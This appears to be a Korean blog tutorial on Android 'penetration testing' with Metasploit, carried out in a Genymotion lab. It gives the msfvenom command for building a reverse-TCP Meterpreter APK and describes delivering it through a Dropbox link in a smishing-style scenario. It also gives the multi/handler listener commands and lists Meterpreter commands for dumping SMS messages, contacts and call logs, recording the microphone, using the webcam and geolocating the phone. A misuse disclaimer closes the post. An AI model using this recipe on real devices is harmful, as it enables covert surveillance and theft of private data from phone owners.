[ F0R3NS1C / R3V3RS1NG ]

안녕하세요 해킹보안기술 연구중인 EnIaC 입니다.

 

이번 강의에 앞서 법적 고지 하고 시작 하도록 하겠습니다.

 

 

 

 


※ 해당 게시글은 나눔고딕,맑은고딕 글꼴을 권장합니다. 

 




* 본 포스팅에서는 실제 기기를 이용 하려 했으나 기기가 뻗는바람에 실제 기기로 테스트 하지 못한 점

정말 죄송합니다.

또한 20시간 동안 안드로이드 침투테스팅 강좌 쓰느라고 하루종일 앉아있었던 탓에 몸상태가 온전하지 못하여

목소리와 말이 횡설수설 한 점 감안 해 주시길 바랍니다.



[ 동영상 강의 ]

< 동영상 강의 1부 프레젠테이션 >



* 두번째 강의는 영상과 사운드의 싱크가 살짝 맞지 않습니다.

오늘은 편집이 불가하고 시간날때 재 수정 해 보도록 하겠습니다.

< 동영상 강의 2부 안드로이드 모의해킹 >



[ 준비물 ]

+ HOST +

- VMWARE 11.0.0 / Oracle VirtualMachine, Genymotion


+ HACKER +

- Kali Linux 1.0.9a

<칼리 데스크탑 화면>칼리리눅스 1.0.9a 버젼의 데스크탑 화면이다.

< Kali Linux 1.0.9a 데스크탑 화면 >



+ VICTIM +

- Android 4.1.1

- Device : Galaxy S2

- Kernel : 3.4.67


<지니모션>안드로이드 4.1.1 지니모션의 화면이다.

< Android 4.1.1 Genymotion >



[ 첨부파일 ]

안드로이드.zip (동영상에 사용된 PPT)








[ 포스팅 강의 ]


<이미지 1>1. 좌측 상단에 있는 터미널 아이콘을 클릭하여 터미널을 켜주도록 하자.

< 사진 1. 터미널 켜기 >



<이미지 2>2. 터미널이 정상적으로 켜졌다면 사진에 보이는 것 처럼 크고 아름다운(?) 터미널 창을 볼 수 있다.

<사진 2. 칼리리눅스 터미널> 




<이미지 3>3. Metasploit 의 유틸리인 msfvenom 명령을 이용하여 악성앱(PAYLOAD) 를 작성 중인 화면이다.

<사진 3. PAYLOAD 작성> 


  msfvenom -p android/meterpreter/reverse_tcp LHOST=IP ADDRESS LPORT=PORT NUMBER R > /root/Desktop/VIRUS.apk


위와 같이 작성 해 주시면  아래와 같은 화면을 보실 수 있습니다.


※ msfvenom 대신 msfpayload 를 사용 하셔도 됩니다.
Metasploit 의 msfvenom 업데이트에 관한 내용 바로보기




<이미지 4>4. 최근 업데이트된 Metasploit 의 msfvenom 유틸리티는 PAYLOAD 작성 후 결과 요약 보고를 하는 기능이 탑제 되어 있어 한눈에 파악하기 쉽다.

<사진 4. PAYLOAD 작성 결과 알림>



드롭박스에 업로드 하여 안드로이드 기기에 옮길 수 있도록 한다.

<이미지 5>5. 드롭박스에 업로드하여 안드로이드 기기에 옮기도록 한다.<사진 5. DropBox 에 PAYLOAD 업로드> 



업로드 이후 안드로이드 기기에 옮기기 위해 공유 URL 을 복사 해 두도록 한다.

<이미지 6>6. 드로박스에 공유 기능을 이용하여 다운로드 URL 을 복사 한다.

<사진 6. 공유 기능을 통한 다운로드 URL 복사>




현재 실습하는 안드로이드는 Genymotion 이라는 가상머신이며 본 가상머신에서는

전화통화 또는 SMS 메시지 송/수신 이 불가 하기 때문에 아래와 같은 악성 메시지를 받아


<이미지 6-1>6-1. 실제 지금 이 순간에도 내 주변 혹은 내게 오는 악성 문자메시지의 이미지이다.

<사진 6-1. 악성 메시지 예제>


URL 을 클릭후 악성앱을 다운로드 받는다는 시나리오 라는 것을 다시 한번 짚고 넘어가겠다.

<이미지 7>7. 필자는 크롬 브라우저가 적합하다고 판단하여 크롬 브라우저를 이용 하도록 하겠다.

<사진 7. 웹브라우저 어플리케이션 선택>



이렇게 해커 (즉 칼리리눅스 측)가 만들어 놓은 악성 드롭박스 링크를 클릭하게 될 경우 제 3자 어느 누구든지

다운로드 받을 수 있는 상태의 화면을 볼 수 있다.

희생자 (안드로이드)측은 Download 버튼을 눌러 칼리리눅스에서 제작한 페이로드를 다운로드 해 보았다.

<이미지 8>8. 현재 칼리리눅스에서 업로드한 악성 드롭박스 링크를 클릭하여 다운로드 페이지까지 접근 한 상태이다.

<사진 8. 악성 URL 접근>



<이미지 8-1>8-1. Download 버튼을 눌러 VIRUS.apk 파일을 다운로드 한다.

<사진 8-1. Downloading 확인>


<이미지 8-2>8-2. 안드로이드의 상단바를 내려 다운로드가 완료 된 것을 재 확인 한다.

<사진 8-2. 상단바를 내려 완료 확인>



이제 다운로드가 완료 되었으니 실제로 칼리리눅스에서 작성한 페이로드를 설치 해 보도록 하겠다.

다운로드된 apk 파일을 눌러 설치 화면에 접근 해 보도록 하겠다.


아래와 같은 팝업창이 나타난다면 주저하지 말고 Package installer 를 선택하여 패키지를

설치 할 수 있도록 한다.

※ 설치 전 알 수 없는 소스 에 반드시 체크 할 것!

<이미지 9>

<사진 9. 설치 팝업 1>


<이미지 9-1>

<사진 9-1. 설치 팝업 1-1>



이제 패키지 설치 바로 직전까지 왔다.

악성 페이로드 패키지를 설치하기 전 칼리리눅스의 상태를 리스닝 상태로 전환 하여야 한다.

아래와 같이 해 주도록 하자.


<이미지 10>10. 이제 얼마 남지 않았다. 칼리리눅스를 최종적으로 리스닝 상태로 전환하여 악성앱을 설치한 VICTIM 의 접속을 대기 하도록 하자.

<사진 10. 리스닝 상태로 전환> 


[ 사진 10. 에서 사용된 명령어 ]

msf > use multi/handler

msf exploit(handler) > set PAYLOAD android/meterpreter/reverse_tcp

PAYLOAD => android/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.1.6

LHOST => 192.168.1.6

msf exploit(handler) > set LPORT 81

LPORT => 81

msf exploit(handler) > exploit


위의 상태로 만들어진 칼리리눅스는 최종적으로 악성앱을 설치한 VICTIM 의 접속을 받을 수 있는

상태로 만들어 지게 되는 것 이다.

이제 VICTIM (즉, 안드로이드) 에서 방금 다운로드 받은 악성앱을 설치하여 칼리리눅스에

연결 하도록 한다.


<이미지 11>11. MainActivity 라는 칼리리눅스의 PAYLOAD 를 설치 하는 화면이다.

<사진 11. PAYLOAD 설치>



설치 후에 Open 버튼을 눌러 앱을 실행 시켜 주도록 합니다.

<이미지 12>12. PAYLOAD 를 실행시켰다면 이제 안드로이드에서 할 수 있는 부분은 끝난 셈이다. 칼리리눅스로 넘어가 보자.

<사진 12. PAYLOAD 실행>



아래와 같이 칼리리눅스로 넘어왔을땐 Meterpreter 라는 쉘이 갑자기 튀어나와 있을 것 입니다.

이는 정상적으로 VICTIM 과의 연결에 성공 했다 라는 것을 증명 하기도 합니다.

이제 Meterpreter 쉘 에서는 안드로이드에게 명령을 내릴 수 있는 환경을 만들어 줍니다.

<이미지 13>13. Metasploit 의 Meterpreter Shell 이 떴다. 이제부터 마음껏 안드로이드를 제어 해 보자.

<사진 13. Meterpreter Shell>



이제 Meterpreter 로 할 수 있는 부분을 정리 해 보도록 하겠다.




※ Metasploit 에 대한 자세한 정리는 현재 화이트해커그룹 LockDown 에서

제 프로젝트로 진행 중입니다.

어느정도 완성되면 문서를 공개 하도록 하겠습니다.

프로젝트 이름은 The Kali Linux Special Tools Report 입니다.


[ Meterpreter Help ]

ore Commands

=============


    Command                   Description

    -------                   -----------

    ?                         Help menu

    background                Backgrounds the current session

    bgkill                    Kills a background meterpreter script

    bglist                    Lists running background scripts

    bgrun                     Executes a meterpreter script as a background thread

    channel                   Displays information about active channels

    close                     Closes a channel

    disable_unicode_encoding  Disables encoding of unicode strings

    enable_unicode_encoding   Enables encoding of unicode strings

    exit                      Terminate the meterpreter session

    help                      Help menu

    info                      Displays information about a Post module

    interact                  Interacts with a channel

    irb                       Drop into irb scripting mode

    load                      Load one or more meterpreter extensions

    quit                      Terminate the meterpreter session

    read                      Reads data from a channel

    resource                  Run the commands stored in a file

    run                       Executes a meterpreter script or Post module

    use                       Deprecated alias for 'load'

    write                     Writes data to a channel



Stdapi: File system Commands

============================


    Command       Description

    -------       -----------

    cat           Read the contents of a file to the screen

    cd            Change directory

    download      Download a file or directory

    edit          Edit a file

    getlwd        Print local working directory

    getwd         Print working directory

    lcd           Change local working directory

    lpwd          Print local working directory

    ls            List files

    mkdir         Make directory

    pwd           Print working directory

    rm            Delete the specified file

    rmdir         Remove directory

    search        Search for files

    upload        Upload a file or directory



Stdapi: Networking Commands

===========================


    Command       Description

    -------       -----------

    ifconfig      Display interfaces

    ipconfig      Display interfaces

    portfwd       Forward a local port to a remote service

    route         View and modify the routing table



Stdapi: System Commands

=======================


    Command       Description

    -------       -----------

    execute       Execute a command

    getuid        Get the user that the server is running as

    ps            List running processes

    shell         Drop into a system command shell

    sysinfo       Gets information about the remote system, such as OS



Stdapi: Webcam Commands

=======================


    Command        Description

    -------        -----------

    record_mic     Record audio from the default microphone for X seconds

    webcam_chat    Start a video chat

    webcam_list    List webcams

    webcam_snap    Take a snapshot from the specified webcam

    webcam_stream  Play a video stream from the specified webcam



Android Commands

================


    Command        Description

    -------        -----------

    check_root     Check if device is rooted

    dump_calllog   Get call log

    dump_contacts  Get contacts list

    dump_sms       Get sms messages

    geolocate      Get current lat-long using geolocation




Meterpreter 에서 Help 명령을 입력하면 위와 같은 도움말이 출력된다.


하나하나 모두 해석하게 될 경우 정말 악용에 용이할 것 같아 일일이 해석하지는 않겠다.


이제 Metasploit 으로 안드로이드를 마음껏 제어하면 된다.



다시한번 말하지만 이 과정은 악용되기 쉬운 과정이다.


악용은 절대적으로 금지하며 무단배포/무단수정 또한 금하겠습니다.



이상 Android 모의해킹 강의에 EnIaC 이었습니다.





WRITTEN BY
EnIaC
WhiteHackerGroup 『LockDown』 EnIaC 입니다.

,